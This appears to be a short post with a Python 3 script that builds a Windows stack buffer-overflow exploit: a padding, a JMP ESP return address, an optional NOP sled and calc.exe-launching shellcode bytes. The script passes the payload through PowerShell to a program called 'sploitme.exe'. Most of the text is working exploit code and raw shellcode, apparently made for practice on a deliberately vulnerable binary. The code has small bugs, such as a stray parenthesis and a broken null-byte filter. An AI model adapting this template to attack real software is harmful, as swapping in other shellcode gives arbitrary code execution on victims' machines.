The problem with Python3 is that all shell interaction (e.g. using subprocess or OS) will attempt implicit decode of bytes to latin or utf8.
This breaks our shellcode that relies on being specific bytes.
The solution I've settled on is supported from windows 7 and above and uses a hacky powershell workaround to send raw un-encoded bytes to the argument of a program. It does this by writing a binary file and using powershell to cat this out to the argument of the program.
I know, I know, terrible.
import os
import sys
from struct import pack
import subprocess
# Usage:
#
# >>> Findjmp ntdll.dll esp
# Scanning ntdll.dll for code useable with the esp register
# 0x776D57CE call esp
# 0x77711C43
# [.....]
# Finished Scanning ntdll.dll for code useable with the esp register
# Found 8 usable addresses...
#
# Put one of them into "function_location"
#
# >>> py -3 py3-terrible.py
# Sends this to program argument 1 as an example (calc.exe shellcode)
# 000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
# 000010 41 41 41 41 41 41 3b 7d 26 90 90 90 90 90 90 90
# 000020 90 31 db 64 8b 7b 30 8b 7f 0c 8b 7f 1c 8b 47 08
# 000030 8b 77 20 8b 3f 80 7e 0c 33 75 f2 89 c7 03 78 3c
# 000040 8b 57 78 01 c2 8b 7a 20 01 c7 89 dd 8b 34 af 01
# 000050 c6 45 81 3e 43 72 65 61 75 f2 81 7e 08 6f 63 65
# 000060 73 75 e9 8b 7a 24 01 c7 66 8b 2c 6f 8b 7a 1c 01
# 000070 c7 8b 7c af fc 01 c7 89 d9 b1 ff 53 e2 fd 68 63
# 000080 61 6c 63 89 e2 52 52 53 53 53 53 53 53 52 53 ff
# 000090 d7
# ------- OPTIONS --------
binary_name = b"sploitme.exe"
padding_to_BOF = 22 # Junk -> EBP Overwritten
# Enter the memory location you want to exec
function_location = 0x773407A8 # use a kernel32 JMP ESP when using shellcode
no_null_bytes = False # C library functions such as strcpy
# will stop on \x00 and kill the exploit,
# toggle to avoid this!
nop_count = 0
shellcode = b"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"
# Open calc.exe generic all-win32: "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"
# -----------------------
def fast_byte_build(byte_to_use,count):
ret = bytearray()
for i in range(count):
ret += byte_to_use
i+=i
return bytes(ret)
payload = fast_byte_build(b'\x41',padding_to_BOF)
payload += pack("<I", function_location)
if no_null_bytes:
clean_payload = b""
for x in list(payload):
if x != b'\x00':
clean_payload+=x
payload = clean_payload
if nop_count>0:
nop_sled = fast_byte_build(b'\x90',nop_count)
payload += nop_sled
payload += shellcode
# Python3 remedy for its implicit decoding of byte sequences in a shell
f=open("buffersploit.txt","wb+")
f.write(payload)
f.close()
# Fire the hack... literally and figuratively
print("Executing: " + binary_name.decode('utf8')))
print("Payload" + str(payload))
command = [
"powershell.exe",
"-c",
"./" + binary_name.decode('utf8'),
"$(cat buffersploit.txt)"
]
subprocess.call(command, shell=True)